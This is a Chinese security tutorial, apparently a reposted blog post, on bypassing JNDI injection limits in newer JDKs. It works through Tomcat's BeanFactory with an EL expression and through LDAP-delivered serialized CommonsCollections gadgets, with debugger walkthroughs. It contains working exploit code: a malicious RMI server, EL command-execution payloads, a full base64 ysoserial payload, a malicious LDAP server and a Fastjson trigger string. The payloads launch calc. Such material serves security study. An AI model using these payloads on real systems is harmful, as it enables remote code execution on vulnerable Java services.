高低jdk版本中jndi注入(下)

news2024/11/29 2:42:05

目录

0x01 绕过高版本JDK(8u191+)限制

如下两种绕过方式:

0x02 利用本地恶意Class作为Reference Factory

2.1 攻击利用

1. 服务端

2. 服务端

2.2 几种变体的表达式

调试分析

小结

0x03 利用LDAP返回序列化数据,触发本地Gadget

3.1 攻击利用

3.2 调试分析

参考资料


0x01 绕过高版本JDK(8u191+)限制


由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为false,禁止LDAP协议使用远程codebase 的选项,把LDAP协议的攻击途径也给禁了:

如下两种绕过方式:

  1. 找到一个受害者本地 CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地 CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制,但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的

0x02 利用本地恶意Class作为Reference Factory


简单地说,就是要服务端本地ClassPath中存在恶意Factory类可被利用来作为Reference Factory进行攻击利用。该恶意Factory类必须实现 javax.naming.spi.ObjectFactory接口,实现该接口的 getObjectInstance()方法。

  • 大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于Tomcat依赖包中,应用广泛。该类的 getObjectInstance()函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

2.1 攻击利用


具体依赖Tomcat中的jar包为:catalina.jar、el-api.jar、jasper-el.jar

1. 服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
 
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 6666");
        Registry registry = LocateRegistry.createRegistry( 6666);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

  • ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:
// java/org/apache/naming/ResourceRef.java
/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation)

  • 其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是弹计算器。

2. 服务端

import javax.naming.Context;
import javax.naming.InitialContext;
 
public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:6666/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

  • 需要在maven中导入依赖:
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.51</version>
</dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>8.5.51</version>
</dependency>
图 2-1 执行恶意exp

2.2 几种变体的表达式


前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:

import javax.el.ELProcessor;
 
public class Test {
    public static void main(String[] args) {
        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
//        String poc = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
//                ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
//                ".invoke(null),'calc.exe')}";
//        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
//                ".newInstance().getEngineByName('JavaScript')" +
//                ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
        new ELProcessor().eval(poc);
    }
}

调试分析

我们通过调试分析来调用过程,前面的部分和正常调用一样,到javax.naming.spi.NamingManager.java类的 getObjectInstance()方法中,如图 2-2:

图 2-2 NamingManager调用getObjectInstance()

这里看到由于我们构造 Reference的时候里面传的工厂类为org.apache.naming.factory.BeanFactory,因此这里从Reference拿到的factory就是org.apache.naming.factory.BeanFactory类,接着调用getObjectInstance():

  • 同时我们应该注意到,想要从上一步的 getObjectFactoryFromReference(ref, f);中得到返回factory不报错的话,需要传入的Factory类必须实现ObjectFactory接口类(因为会对获取回来的类实例化后强转为ObjectFactory类型),而org.apache.naming.factory.BeanFactory正好满足这一点,如图 2-3:

图 2-3 BeanFactory实现ObjectFactory接口类

  • 回到 getObjectInstance()方法中接着往下走跟进getObjectInstance(),如图 2-4:
图 2-4 getObjectInstance()处理ResourceRef

上来就是判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例。往下走,如图 2-5:

图 2-5 获取 ResourceRef中forceString参数值

  • 接着获取Bean类为 javax.el.ELProcessor 后,实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的 x=eval 内容。继续往下走,如图 2-6:
图 2-6 传入恶意的EL表达式

  • 这里先用,分割value属性的值,然后循环里面每一个值,判断里面是否存在 =:若存在就获取等号前的值作为param,等号后的值为propName;否则就使用set拼接value的值作为propName的值;如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!

然后调用 beanClass.getMethod(propName, paramTypes) 获取eval方法,如2-7:

图 2-7 beanClass获取方法

 

  • 接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素(也就是EL表达式的命令)。往下走,如图 2-8:
图 2-8 在value里面找到EL表达式的命令

小结

  • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是org.apache.naming.factory.BeanFactory
  • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;
  • ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的;

0x03 利用LDAP返回序列化数据,触发本地Gadget

LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。此时,如果服务端ClassPath中存在反序列化许多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。

3.1 攻击利用

假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。

  • 使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

  • 输出:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

  • 恶意LDAP服务器如下,主要是在javaSerializedData字段内填入刚刚生成的反序列化payload数据:
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
 
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
 
public class LdapServer {
 
    private static final String LDAP_BASE = "dc=example,dc=com";
 
 
    public static void main (String[] args) {
 
        String url = "http://vps:8000/#ExportObject";
        int port = 1234;
 
 
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
 
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
 
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
        private URL codebase;
 
 
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
 
 
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
 
        }
 
 
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
 
            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
 
            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }
 
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
 
    }
}

  • 目标服务端代码,假设存在JNDI lookup()函数注入或 Fastjson反序列化漏洞,此时通过JNDI注入实现反序列化漏洞利用:
import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;
 
public class Test {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context ctx = new InitialContext();
        ctx.lookup("ldap://localhost:1234/ExportObject");
 
        // Fastjson反序列化JNDI注入Gadget触发
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
        JSON.parse(payload);
    }
}

如图 3-1:

图 3-1 配合FastJson编写POC

 

3.2 调试分析

LDAP调用的流程和前面一样,调用链都是不同类lookup()函数之间的调用,com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中会调用到com.sun.jndi.ldap.Obj类的decodeObject()函数进行解码对象的操作。跟进去,如图 3-2:

图 3-2 decodeObject()函数自带attributes

 

先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流;这里var2变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码。跟进去如3-3:

图 3-3 调用readObject()方法

 

参考资料

如何绕过高版本JDK的限制进行JNDI注入利用

Exploiting JNDI Injections in Java

浅析高低版JDK下的JNDI注入及绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/85316.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nacos--基础--5.1--集成--SpringCloud--配置管理、服务发现、服务注册

nacos–基础–5.1–集成–SpringCloud–配置管理、服务发现、服务注册 代码位置 https://gitee.com/DanShenGuiZu/learnDemo/tree/master/nacos-learn/nacos-spring-cloud1、介绍 主要面向 Spring 的使用者通过2个实例&#xff0c;来介绍nacos和Spring的集成 配置管理服务注册…

运行时发现文件路径输出404

运行时发现文件路径输出404 tomcat不能显示中文原因主要是编码的问题&#xff0c; 因为Tomcat5的http Connector所用的URI解码默认用的是 ISO-8859-1&#xff0c; 而一般浏览器默认用的发送编码为UTF-8&#xff0c;这样问题就出现了&#xff0c; 初步的解决方法如下&#xff1a…

Mentor-dft 学习笔记 day40-Basic Test Data Formats for Patterns

Reduce Serial Loading Simulation Time with Sampling 使用write_patterns命令时&#xff0c;可以使用-sample开关保存完整pattern集的样本。这将减少pattern文件中的pattern数量&#xff0c;从而减少模拟时间。此外&#xff0c;-Sample开关允许您控制样本中包含的每种类型的p…

回归预测 | MATLAB实现WOA-BiLSTM鲸鱼算法优化双向长短期记忆神经网络多输入单输出航空寿命数据回归预测

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

ADI Blackfin DSP处理器-BF533的开发详解48:图像处理专题-Rotation (图像旋转处理)(含源码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 功能介绍 代码实现了图像旋转处理&#xff0c;代码运行时&#xff0c;会通过文件系统打开工程文件根目下" …/ImageView"路径中的 tes…

【OpenCV-Python】教程:5-1 背景减法

OpenCV Python 背景减法 【目标】 读视频与显示视频创建背景模型与更新背景模型 【概述】 背景相减&#xff08;BS&#xff09;是一种常用且广泛使用的技术&#xff0c;用于通过使用静态相机来生成前景掩模&#xff08;即&#xff0c;包含属于场景中运动对象的像素的二值图…

UEFI固件使用OpenSSL暴露了软件材料清单(SBOM)

Binarly REsearch团队近日深入研究了最近的OpenSSL安全更新给UEFI固件供应链生态系统带来怎样的影响以及OpenSSL版本在固件环境中是如何广泛使用的。研究结果不容乐观。 科技行业正在积极讨论使用“软件材料清单”&#xff08;SBOM&#xff09;来化解供应链安全风险。为了确保…

前端面试常考 | js闭包

文章目录一. 闭包1. 介绍闭包2. 闭包的作用3. 闭包与变量二. 闭包引起的内存泄漏1. 闭包是如何引起内存泄漏的2. 如何解决闭包引起的内存泄漏三. 最后一. 闭包 1. 介绍闭包 有不少开发人员总是搞不清楚匿名函数与闭包两个概念&#xff0c;因此经常混用。同时闭包也是我们前端…

我见过最好的天线基础知识

天线作为无线电的发射和接收设备是影响信号强度和质量的重要设备,其在移动通信领域的重要性非常关键。通过对天线选型,天 线安装,天线调整从而保障基站覆盖区域的信号强度与质量。对其的 掌握程度是网规与网优工程师的技能基本要求之一。下文重点说明天线要掌握哪些方面及其原理…

版本控制 | 如何将 UnrealGameSync 与 Perforce Helix Core 结合使用

为了帮助虚幻引擎4和虚幻引擎5的开发&#xff0c;Epic公司开发了UnrealGameSync&#xff0c;使其与版本控制工具Perforce Helix Core交互。虽然UnrealGameSync除了P4V (Helix Core客户端)之外还有许多功能&#xff0c;但主要用途是分发内部引擎和项目构建&#xff0c;它极大地简…

springboot+vue

一、案例结构 用springboot做后端接口&#xff0c;采用restful风格。用vue-cli来创建前端项目&#xff0c;通过axios进行前后端交互。来实现用户的增删改查操作。二、效果图 点击修改&#xff1a; 点击添加&#xff1a; 三、服务器端 控制层代码&#xff1a; package com.ex…

【Tryhackme】dogcat(LFI+文件解析漏洞,Docker逃逸)

免责声明 本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用&#xff0c;请不要将文中使用的工具和渗透思路用于任何非法用途&#xff0c;对此产生的一切后果&#xff0c;本人不承担任何责任&#xff0c;也不对造成的任何误用或损害负责。 服务发现 ┌──(r…

CentOS7.4安装教程

CentOS7.4安装教程&#xff1a; centos系统自行网上查找链接下载&#xff0c;我使用的是最小安装版本&#xff0c;搞服务器用 1、进入操作系统&#xff0c;选择第一项进行安装&#xff1a; 2、耐心等待&#xff0c;直到弹出这个界面&#xff1a; 3、下拉选择中文&#xf…

磷脂-荧光素标记DSPE-FITC磷脂改性荧光素

磷脂-荧光素标记DSPE-FITC磷脂改性荧光素 中文名称&#xff1a;荧光素标记二硬脂酰磷脂酰乙醇胺 中文别称&#xff1a;磷脂-荧光素标记&#xff1b;二硬脂酰磷脂酰乙醇胺改性荧光素 英文名称&#xff1a;18:0 PE Fluorescein 英文别称&#xff1a;DSPE-FITC 外观&#xff1a…

开发人员的绝佳生产力工具

介绍 从长远来看&#xff0c;每天工作 8 小时对您没有帮助&#xff0c;但利用这些来最大化产出肯定会让您受益。这就是为什么生产力是最重要的事情之一。 今天&#xff0c;我们将学习一些很棒的工具&#xff0c;它们可以提高您的工作效率。除非并且直到您将这些工具集成到您的…

【Lilishop商城】No3-7.模块详细设计,订单模块-1(购物车、收银台)的详细设计

仅涉及后端&#xff0c;全部目录看顶部专栏&#xff0c;代码、文档、接口路径在&#xff1a; 【Lilishop商城】记录一下B2B2C商城系统学习笔记~_清晨敲代码的博客-CSDN博客 全篇会结合业务介绍重点设计逻辑&#xff0c;其中重点包括接口类、业务类&#xff0c;具体的结合源代…

【TECH SCIENCE PRESS出版社】2区SCI,仅3个月左右录用,数字孪生、绿色技术、供应链、人工智能物联网、智能传感器相关领域均可

【出版社】TECH SCIENCE PRESS 【期刊简介】IF&#xff1a;3.5-4.0&#xff0c;JCR2区&#xff0c;中科院3区 【检索情况】SCI&EI双检&#xff0c;正刊 【参考周期】3个月左右 【征稿领域】 ①数字孪生在智能医疗系统中的应用&#xff08;2023.3.25截稿&#xff09; …

NetInside助力IT提高业务性能管理能力(一)

需求简介 某外高桥公司的OA系统是其重要的业务系统&#xff0c;OA系统负责人表示&#xff0c;部分用户反馈&#xff0c;访问OA系统时比较慢。需要通过分析系统看一下实际情况。 信息部已对企业领导定义了独立的组&#xff0c;本次要主动分析领导们的使用体验快慢。如果OA系统…

一个带详细程序和注释的实例,手把手带你学会用BP神经网络做预测

目录 1.问题描述 1.1问题剖析 2.实现程序 2.1运行结果 2.3总结 3.预测 3.1输出结果 4.预测理解 1.问题描述 某运输系统连续9年货运量的有关数据如表2-10所示。根据对关于货运量影响因素的分析&#xff0c;这里分别取国内生产总值GDP、工业总产值、铁路运输线路长度、复线…

使用vue-easytable实现仿excel表格,支持可编辑、添加删除行、虚拟表格等功能

使用npm安装vue-easytable npm install --save vue-easytable 在 main.js 中写入以下内容&#xff1a; // 引入样式 import "vue-easytable/libs/theme-default/index.css"; // 引入组件库 import VueEasytable from "vue-easytable"; Vue.use(VueEasyt…